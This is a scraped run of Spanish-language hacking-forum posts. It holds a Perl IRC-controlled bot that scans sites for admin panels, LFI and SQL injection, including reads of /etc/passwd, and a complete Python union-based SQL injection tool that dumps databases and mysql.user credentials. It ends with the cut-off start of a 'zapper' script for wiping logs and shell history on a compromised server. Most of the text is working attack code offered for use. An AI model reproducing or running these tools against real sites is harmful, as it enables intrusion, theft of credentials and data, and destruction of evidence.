','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/');
  28.  
  29. my $nave = LWP::UserAgent->new();
  30. $nave->timeout(13);
  31. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  32.  
  33.  
  34. print "\n[+] tERR0R b0T (c) dODDy HacKMaN 2010\n\n";
  35.  
  36. my $servidor = "127.0.0.1"; #Servidor IRC
  37. my $canal = "#locos"; #Canal IRC del servidor especificado
  38. my $nick = "Lepuke-Slave"; # Apodo del bot
  39. my $port = "6667"; # Puerto del servidor IRC
  40.  
  41. print "[+] Starting the bot\n";
  42.  
  43. my $soquete = new IO::Socket::INET( PeerAddr =>$servidor,
  44. PeerPort => $port,
  45. Proto => 'tcp' );
  46.  
  47. if (!$soquete) {
  48. print "\n[-] No se puedo conectar en $servidor $port\n";
  49. exit 1;
  50. }
  51.  
  52.  
  53. print $soquete "NICK $nick\r\n";
  54. print $soquete "USER $nick 1 1 1 1\r\n";
  55. print $soquete "JOIN $canal\r\n";
  56.  
  57. print "[+] Online\n\n";
  58.  
  59. while ( my $log = <$soquete> ) {
  60. chomp($log);
  61.  
  62. if ($log =~ /^PING(.*)$/i){
  63. print $soquete "PONG $1\r\n";
  64. }
  65.  
  66. if($log =~ m/:!panel (.*)$/g) {
  67. scan($1);
  68. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  69. }
  70.  
  71. if($log =~ m/:!sqli (.*)$/g) {
  72. print $soquete "PRIVMSG $canal : [+] SQL Scan Starting\r\n";
  73. scan2($1);
  74. }
  75.  
  76. if($log =~ m/:!fuzzdns (.*)$/g) {
  77. scan1($1);
  78. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  79. }
  80.  
  81. if($log =~ m/:!lfi (.*)$/g) {
  82. lfi($1);
  83. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  84. }
  85.  
  86.  
  87.  
  88. if($log =~ m/:!base64 (.*) (.*)$/g) {
  89. use MIME::Base64;
  90. my ($opcion,$aa) = ($1,$2);
  91. if ($opcion eq "encode") {
  92. print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  93. print $soquete "PRIVMSG $canal : [+] Encode : ".encode_base64($aa)."\r\n";
  94. }
  95. elsif ($opcion eq "decode") {
  96. print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  97. print $soquete "PRIVMSG $canal : [+] Text : ".decode_base64($aa)."\r\n";
  98. }
  99. else {
  100. print $soquete "PRIVMSG $canal : ??\r\n";
  101. }
  102. }
  103.  
  104. if($log =~ m/:!ascii (.*) (.*)$/) {
  105. my ($opcion,$aa) = ($1,$2);
  106. chomp $aa;
  107. if ($opcion eq "encode") {
  108. print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  109. print $soquete "PRIVMSG $canal : [+] Encode : ".ascii($aa)."\r\n";
  110. }
  111. elsif ($opcion eq "decode") {
  112. print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  113. print $soquete "PRIVMSG $canal : [+] Text : ".ascii_de($aa)."\r\n";
  114. }
  115. else {
  116. print $soquete "PRIVMSG $canal : ???\r\n";
  117. }
  118. }
  119.  
  120. if($log =~ m/:!hex (.*) (.*)$/) {
  121. my ($opcion,$aa) = ($1,$2);
  122. chomp $aa;
  123. if ($opcion eq "encode") {
  124. print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  125. print $soquete "PRIVMSG $canal : [+] Encode : ".encode($aa)."\r\n";
  126. } 
  127. elsif ($opcion eq "decode") {
  128. print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  129. print $soquete "PRIVMSG $canal : [+] Text : ".decode($aa)."\r\n";
  130. }
  131. else {
  132. print $soquete "PRIVMSG $canal : ????\r\n";
  133. }
  134. }
  135. }
  136.  
  137. sub lfi { 
  138. print $soquete "PRIVMSG $canal : [+] Target confirmed : $_[0]"."\r\n";
  139. print $soquete "PRIVMSG $canal : [+] Status : [scanning]"."\r\n";
  140. $code = toma($_[0]);
  141. if ($code=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  142. print $soquete "PRIVMSG $canal : [+] Vulnerable !"."\r\n";
  143. print $soquete "PRIVMSG $canal : [*] Full path discloure detected : $1"."\r\n";
  144. print $soquete "PRIVMSG $canal : [+] Status : [fuzzing files]"."\r\n";
  145. for my $file(@buscar3) {
  146. $code1 = toma($_[0].$file);
  147. unless ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  148. $ok = 1;
  149. print $soquete "PRIVMSG $canal : [File Found] : ".$_[0].$file."\r\n";
  150. }
  151. }
  152. unless($ok == 1) {
  153. print $soquete "PRIVMSG $canal : [-] Dont found any file"."\r\n";
  154. }
  155. } else {
  156. print $soquete "PRIVMSG $canal : [-] Page not vulnerable to LFI"."\r\n";
  157. }
  158. }
  159.  
  160.  
  161. sub scan1 {
  162. print $soquete "PRIVMSG $canal : [*] Searching DNS to ".$_[0]."\r\n";
  163. for my $path(@dns) {
  164. $code = tomax("http://".$path.".".$_[0]);
  165. if ($code->is_success) {
  166. print $soquete "PRIVMSG $canal : http://".$path.".".$_[0]."\r\n";
  167. }
  168. }
  169. }
  170.  
  171. sub scan {
  172. print $soquete "PRIVMSG $canal [*] Searching panels to ".$_[0]."\r\n";
  173. for my $path(@panels) {
  174. $code = tomax($_[0]."/".$path);
  175. if ($code->is_success) {
  176. print "\a";
  177. $ct = 1;
  178. print $soquete "PRIVMSG $canal [Link] : ".$_[0]."/".$path."\r\n";
  179. }
  180. }
  181. if ($ct ne 1) { 
  182. print $soquete "PRIVMSG $canal [-] Not found any path\r\n";
  183. }
  184. }
  185.  
  186.  
  187.  
  188. sub scan2 {
  189.  
  190. my $rows  = "0";
  191. my $asc;
  192. my $page = $_[0];
  193.  
  194. ($pass1,$pass2) = &bypass($ARGV[1]);
  195. $inyection = $page."-1".$pass1."order".$pass1."by"."9999999999".$pass2;
  196. $code = toma($inyection);
  197. if($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  198. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  199. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  200. my $path = $1;
  201. chomp $path;
  202. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  203. $total = "1";
  204. for my $rows(2..52) {
  205. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
  206. $total.= ",".$rows;
  207. $injection = $page."-1".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  208. $test = toma($injection);
  209. if ($test=~/RATSXPDOWN/) {
  210. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  211. print $soquete "PRIVMSG $canal : [Page] : $page\r\n";
  212. print $soquete "PRIVMSG $canal : [Limit] : The site has $rows columns\r\n";
  213. print $soquete "PRIVMSG $canal : [Data] : The number @number print data\r\n";
  214. if ($test=~/RATSXPDOWN(\d+)/) {
  215. if ($path) {
  216. print $soquete "PRIVMSG $canal : [Full Path Discloure] : $path\r\n";
  217. }
  218. $total=~s/@number[0]/hackman/;
  219. print $soquete "PRIVMSG $canal : [+] Injection SQL : ".$page."-1".$pass1."union".$pass1."select".$pass1.$total."\r\n";
  220. &details($page."-1".$pass1."union".$pass1."select".$pass1.$total,$_[1]);
  221. last;
  222. }
  223. }
  224. }
  225. }
  226. } 
  227.  
  228. sub details {
  229. my $page = $_[0];
  230. ($pass1,$pass2) = &bypass($ARGV[1]);
  231. if ($page=~/(.*)hackman(.*)/ig) {
  232. my $start = $1; my $end = $2;
  233. $test1 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2);
  234. $test2 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2);
  235. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  236. if ($test2=~/ERTOR854/ig) {
  237. print $soquete "PRIVMSG $canal : [+] Posibilidad de ver usuarios con mysql.user\r\n";
  238. }
  239. if ($test1=~/ERTOR854/ig) {
  240. print $soquete "PRIVMSG $canal : [+] Se pueden ver todo con information_schema\r\n";
  241. }
  242. if ($test3=~/ERTOR854/ig) {
  243. print $soquete "PRIVMSG $canal : [+] load_file permite ver los archivos\r\n";
  244. }
  245. $code = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))".$end.$pass2);
  246. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  247. print $soquete "PRIVMSG $canal : [!] DB Version : $1\r\n";
  248. print $soquete "PRIVMSG $canal : [!] DB Name : $2\r\n";
  249. print $soquete "PRIVMSG $canal : [!] user_name : $3\r\n";
  250. } else {
  251. print $soquete "PRIVMSG $canal : [-] Not found any data\r\n";
  252. }
  253. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  254. }
  255. }
  256. }
  257.  
  258. sub bypass {
  259. if ($_[0] eq "/*") { return ("/**/","/*"); }
  260. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  261. else {return ("+","--");}}
  262.  
  263.  
  264. sub ascii {
  265. return join ',',unpack "U*",$_[0]; 
  266. }
  267.  
  268. sub ascii_de {
  269. $_[0] = join q[], map { chr } split q[,],$_[0];
  270. return $_[0];
  271. }
  272.  
  273.  
  274. sub encode {
  275. my $string = $_[0];
  276. $hex = '0x';
  277. for (split //,$string) {
  278. $hex .= sprintf "%x", ord;
  279. }return $hex;}
  280.  
  281. sub decode {
  282. $_[0] =~ s/^0x//;
  283. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  284. return $encode;
  285. }
  286.  
  287. sub toma {
  288. return $nave->request (GET $_[0])->content;
  289. }
  290.  
  291. sub tomax {
  292. return $nave->request (GET $_[0]);
  293. }
  294.  
  295. #The End
  296.  
  297.  
  298.  
507  Foros Generales / Foro Libre / Re: Vuestro juego de la infancia es... en: 7 Octubre 2011, 02:53 am
Millones , pero el unico del que me acuerdo el nombre es Captain Claw.
508  Programación / Scripting / Re: Como me hago un mIRC propio en python? en: 7 Octubre 2011, 02:02 am
es complicado , tenes que saber los comandos necesarios como el tipico ping pong u otros , ademas no se me ocurre como hacer en un while una deteccion de los mensajes privados que te puedan enviar , desde mi punto de vista es complicado , pero por lo que leido es muy facil de hacerlo en delphi.
Eso si si lo que queres hacer es un bot y no un cliente la cosa es diferente
509  Programación / Scripting / [Python] SQL Scanner 0.3 en: 7 Octubre 2011, 01:40 am
Bueno este es un simple scanner en python que hice para SQLI

Con las sig opciones :

  • Verifica vulnerabilidad
  • Busca columnas
  • Busca el numero milagroso y saca info sobre la DB
  • Saca tablas y columnas de de la DB actual o otra externa
  • Dumpear usuarios
  • Guarda todo en un log con el nombre de la web en la carpeta /logs
Código
  1. #!usr/bin/python
  2. #SQL Scanner 0.3 (C) Doddy Hackman 2010
  3.  
  4. import os,sys,urllib2,re,binascii
  5. from urlparse import urlparse
  6.  
  7. def clean():
  8.  if sys.platform=="win32":
  9.   os.system("cls")
  10.  else:
  11.   os.system("clear")
  12.  
  13. def savefile(name,text):
  14.  file = open(name,"a")
  15.  file.write("\n"+text+"\n")
  16.  file.close()
  17.  
  18. def gethost(test):
  19.  return urlparse(test).netloc
  20.  
  21. def header() : 
  22.  print "\n--== SQL Scanner ==--\n"
  23.  
  24. def copyright() : 
  25.  print "\n\n(C) Doddy Hackman 2010\n"
  26.  sys.exit(1)
  27.  
  28. def show() :
  29.  print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  30.  
  31. def toma(web) :
  32.  nave = urllib2.Request(web)
  33.  nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  34.  op = urllib2.build_opener()
  35.  return op.open(nave).read()
  36.  
  37. def bypass(bypass): 
  38.  if bypass == "--":
  39.   return("+","--")
  40.  elif bypass == "/*":
  41.   return("/**/","/*")
  42.  else: 
  43.   return("+","--")
  44.  
  45.  
  46. def dumper(web,passx,table,col1,col2):
  47.  
  48.  pass1,pass2 = bypass(passx)
  49.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  50.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
  51.  code1 = toma(web1+pass1+"from"+pass1+table+pass2)
  52.  print "\n\n[+] Searching values\n\n"
  53.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  54.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  55.   numbers = numbers[0]
  56.   print "[+] Values Found : ",numbers,"\n"	
  57.   for counter in range(0,int(numbers)):
  58.    code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)	
  59.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  60.     c1 = re.findall("K0BRA(.*?)K0BRA",code2)
  61.     c1 = c1[0]
  62.  
  63.     c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
  64.     c2 = c2[0]
  65.     print "["+col1+"] : "+c1
  66.     print "["+col2+"] : "+c2+"\n"
  67.     savefile("logs/"+gethost(web)+".txt","["+col1+"] : "+c1)
  68.     savefile("logs/"+gethost(web)+".txt","["+col2+"] : "+c2+"\n")
  69.  else:
  70.   print "[-] Not Found\n"
  71.  
  72.  
  73.  
  74. def mysqluser(web,passx):
  75.  pass1,pass2 = bypass(passx)
  76.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  77.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
  78.  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  79.  print "\n\n[+] Searching mysql.user\n\n"
  80.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  81.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  82.   numbers = numbers[0]
  83.   print "[+] mysql.user : ON"
  84.   savefile("logs/"+gethost(web)+".txt","[+] mysql.user : ON")
  85.   savefile("logs/"+gethost(web)+".txt","[+] Users Found : "+numbers+"\n")
  86.   print "[+] Users Found : ",numbers,"\n"	
  87.   for counter in range(0,int(numbers)):
  88.    code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  89.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  90.     host = re.findall("K0BRA(.*?)K0BRA",code2)
  91.     host = host[0]
  92.  
  93.     user = re.findall("K0BRA1(.*?)K0BRA1",code2)
  94.     user = user[0]
  95.  
  96.     passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
  97.     passw = passw[0]
  98.     savefile("logs/"+gethost(web)+".txt","[Host] : "+host)
  99.     savefile("logs/"+gethost(web)+".txt","[User] : "+user)
  100.     savefile("logs/"+gethost(web)+".txt","[Pass] : "+passw+"\n")
  101.     print "[Host] : "+host
  102.     print "[User] : "+user
  103.     print "[Pass] : "+passw+"\n"    
  104.  else:
  105.   print "[-] Not Found\n" 
  106.  
  107.  
  108.  
  109. def showcolumnsdb(web,db,table,passx):
  110.  db = "0x"+str(binascii.hexlify(db))
  111.  table = "0x"+str(binascii.hexlify(table))
  112.  pass1,pass2 = bypass(passx)
  113.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  114.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
  115.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)	
  116.  print "\n\n[+] Searching columns in DB\n\n"
  117.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  118.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  119.   numbers = numbers[0]
  120.   savefile("logs/"+gethost(web)+".txt","[DB] : "+db)
  121.   savefile("logs/"+gethost(web)+".txt","[DB] : "+table)
  122.   print "[+] information_schema : ON"
  123.   print "[+] Columns Found : ",numbers,"\n"	
  124.   for counter in range(0,int(numbers)):
  125.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  126.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  127.     column = re.findall("K0BRA(.*?)K0BRA",code2)
  128.     column = column[0]
  129.     savefile("logs/"+gethost(web)+".txt","[Column Found] : "+column)
  130.     print "[Column Found] : "+column
  131.  
  132.  else:
  133.   print "[-] Not Found\n"
  134.  
  135.  
  136. def showtablesdb(web,db,passx):
  137.  db = "0x"+str(binascii.hexlify(db))
  138.  pass1,pass2 = bypass(passx)
  139.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  140.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
  141.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)	
  142.  print "\n\n[+] Searching tables in DB\n\n"
  143.  savefile("logs/"+gethost(web)+".txt","[DB] : "+db)
  144.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  145.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  146.   numbers = numbers[0]
  147.   print "[+] information_schema : ON"
  148.   print "[+] Tables Found : ",numbers,"\n"	
  149.   for counter in range(0,int(numbers)):
  150.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  151.  
  152.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  153.     table = re.findall("K0BRA(.*?)K0BRA",code2)
  154.     table = table[0]
  155.     print "[Table Found] : "+table
  156.     savefile("logs/"+gethost(web)+".txt","[Table Found] : "+table)
  157.  else:
  158.   print "[-] Not Found\n"
  159.  
  160.  
  161.  
  162. def showtables(web,passx):
  163.  pass1,pass2 = bypass(passx)
  164.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
  165.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
  166.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  167.  print "\n\n[+] Searching tables\n\n"
  168.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  169.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  170.   numbers = numbers[0]
  171.   print "[+] information_schema : ON"
  172.   print "[+] Tables Found : ",numbers,"\n"	
  173.   for counter in range(17,int(numbers)):
  174.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  175.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  176.     table = re.findall("K0BRA(.*?)K0BRA",code2)
  177.     table = table[0]
  178.     print "[Table Found] : "+table
  179.     savefile("logs/"+gethost(web)+".txt","[Table Found] : "+table)
  180.  else:
  181.   print "[-] Not Found\n"
  182.  
  183.  
  184.  
  185. def showcolumns(tabla,web,passx):
  186.  pass1,pass2 = bypass(passx)
  187.  tabla = "0x"+str(binascii.hexlify(tabla))
  188.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
  189.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
  190.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
  191.  print "\n\n[+] Searching tables\n\n"
  192.  savefile("logs/"+gethost(web)+".txt","[Table Found] : "+tabla)
  193.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  194.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  195.   numbers = numbers[0]
  196.   print "[+] information_schema : ON"
  197.   print "[+] Columns Found : ",numbers,"\n"	
  198.   for counter in range(0,int(numbers)):
  199.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  200.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  201.     column = re.findall("K0BRA(.*?)K0BRA",code2)
  202.     column = column[0]
  203.     print "[Column Found] : "+column
  204.     savefile("logs/"+gethost(web)+".txt","[Column Found] : "+column)
  205.  else:
  206.   print "[-] Not Found\n"
  207.  
  208.  
  209.  
  210.  
  211. def showdbs(web,passx):
  212.  pass1,pass2 = bypass(passx)
  213.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  214.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
  215.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
  216.  print "\n\n[+] Searching DBS\n\n"
  217.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  218.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  219.   numbers = numbers[0]
  220.   print "[+] information_schema : ON"
  221.   print "[+] DBS Found : ",numbers,"\n"	
  222.   for counter in range(0,int(numbers)):
  223.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  224.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  225.     db = re.findall("K0BRA(.*?)K0BRA",code2)
  226.     db = db[0]
  227.     print "[DB Found] : "+db
  228.     savefile("logs/"+gethost(web)+".txt","[DB Found] : "+db)
  229.  else:
  230.   print "[-] Not Found\n"
  231.  
  232.  
  233.  
  234.  
  235. def menu(page,bypass):
  236.  clean()
  237.  header()
  238.  print "\n[+] Target : ",page,"\n"
  239.  print "\n[information_schema]\n\n"
  240.  print "1 - Show tables\n"
  241.  print "2 - Show columns of the a table\n"
  242.  print "3 - Show databases\n"
  243.  print "4 - Show tables from the a DB\n"
  244.  print "5 - Show columns from the a table of the DB\n"
  245.  print "\n[mysql.user]\n\n"
  246.  print "6 - Show users\n"
  247.  print "\n[Others]\n\n"
  248.  print "7 - Show details\n"
  249.  print "8 - Dump data\n"
  250.  print "9 - Show log\n"
  251.  print "10 - Change target\n"
  252.  print "11 - Exit\n\n"
  253.  try:
  254.   op = input("[Option] : ")
  255.   if op == 1: 
  256.    showtables(page,bypass)
  257.    raw_input()    
  258.    menu(page,bypass)
  259.   elif op == 2:
  260.    table = raw_input("\n\n[Table] : ")
  261.    showcolumns(table,page,bypass)
  262.    raw_input() 
  263.    menu(page,bypass)
  264.   elif op == 3:
  265.    showdbs(page,bypass)
  266.    raw_input() 
  267.    menu(page,bypass)
  268.   elif op == 4:
  269.    db = raw_input("\n\n[DB] : ")
  270.    showtablesdb(page,db,bypass)
  271.    raw_input()
  272.    menu(page,bypass)
  273.   elif op == 5:
  274.    db = raw_input("\n\n[DB] : ")
  275.    table = raw_input("\n\n[Table] : ")
  276.    showcolumnsdb(page,db,table,bypass)
  277.    raw_input()
  278.    menu(page,bypass)
  279.   elif op == 6:
  280.    mysqluser(page,bypass)
  281.    raw_input()
  282.    menu(page,bypass)
  283.   elif op == 7:
  284.    more(page,bypass)
  285.    raw_input()
  286.    menu(page,bypass)	
  287.   elif op == 8:
  288.    table = raw_input("\n\n[Table] : ")
  289.    col1 = raw_input("\n\n[Column 1] : ")
  290.    col2 = raw_input("\n\n[Column 2] : ")
  291.    dumper(page,bypass,table,col1,col2)
  292.    raw_input()
  293.    menu(page,bypass)
  294.   elif op == 9:
  295.    os.system("start logs/"+gethost(page)+".txt")
  296.    menu(page,bypass)
  297.   elif op == 10:
  298.    sta()
  299.  except:
  300.   menu(page,bypass)
  301.  if op == 11:
  302.   copyright()
  303.  
  304.  
  305. def more(web,passx):
  306.  pass1,pass2 = bypass(passx)
  307.  print "\n[+] Searching more data\n"
  308.  web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
  309.  code0 = toma(web1+pass2)
  310.  if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
  311.   datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
  312.   datar = re.split("K0BRA",datax[0])
  313.   print "[+] Username :",datar[1]
  314.   print "[+] Database :",datar[2]
  315.   print "[+] Version :",datar[3],"\n"
  316.   savefile("logs/"+gethost(web)+".txt","[+] Username : "+datar[1])
  317.   savefile("logs/"+gethost(web)+".txt","[+] Database : "+datar[2])
  318.   savefile("logs/"+gethost(web)+".txt","[+] Version : "+datar[3]+"\n")
  319.  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  320.  if (re.findall("K0BRA",code1)):
  321.    print "[+] mysql.user : on" 
  322.    savefile("logs/"+gethost(web)+".txt","[+] mysql.user : on")
  323.  code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  324.  if (re.findall("K0BRA",code2)):
  325.    print "[+] information_schema.tables : on"
  326.    savefile("logs/"+gethost(web)+".txt","[+] information_schema.tables : on")
  327.  
  328. def findlength(web,passx): 
  329.  pass1,pass2 = bypass(passx) 
  330.  print "\n[+] Finding columns length"
  331.  number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
  332.  for te in range(2,30):
  333.   number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
  334.   code = toma(web+"-1"+pass1+"union"+pass1+"select"+pass1+number+pass2)
  335.   if (re.findall("K0BRA(.*?)K0BRA",code)):
  336.    numbers = re.findall("K0BRA(.*?)K0BRA",code)	
  337.    print "[+] Column length :",te
  338.    print "[+] Numbers",numbers,"print data"
  339.    sql = ""
  340.    tex = te + 1
  341.    for sqlix in range(2,tex):
  342.     sql = str(sql)+","+str(sqlix)
  343.     sqli  = str(1)+sql
  344.    sqla = re.sub(numbers[0],"hackman",sqli)
  345.    savefile("logs/"+gethost(web)+".txt","[Target] : "+web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla)
  346.    menu(web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla,passx)
  347.  
  348.  print "[-] Length dont found\n"
  349.  
  350.  
  351. def scan(web,passx):
  352.  pass1,pass2 = bypass(passx) 
  353.  print "\n\n[+] Testing vulnerability"
  354.  code = toma(web+"-1"+pass1+"union"+pass1+"select"+pass1+"1"+pass2)
  355.  if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  356.   print "[+] SQLI Detected"
  357.   findlength(web,passx)
  358.  else:
  359.   print "[-] Not Vulnerable"
  360.   copyright()
  361.  
  362.  
  363. def sta(): 
  364.  
  365.  clean()
  366.  header()
  367.  
  368.  web = raw_input("\n\n[Page] : ")
  369.  bypasx = raw_input("\n\n[Bypass] : ")
  370.  scan(web,bypasx)
  371.  
  372. sta()
  373.  
  374. #The End
510  Programación / Scripting / [Python] Zapper By Doddy H en: 7 Octubre 2011, 01:39 am
Hola a todos.

Acabo de hacer un simple zapper en python , tan solo lo cargan en el sistema web atacado y comienza
a borrar huellas.
Eso si , no me habia dado cuenta de que facil usar python xDD

Código
  1. #!usr/bin/python
  2. #Zapper (C) Doddy Hackman
  3.  
  4. import os
  5.  
  6. paths = ["/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  7. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  8. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access","/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  9. "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  10. "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth"]
  11.  
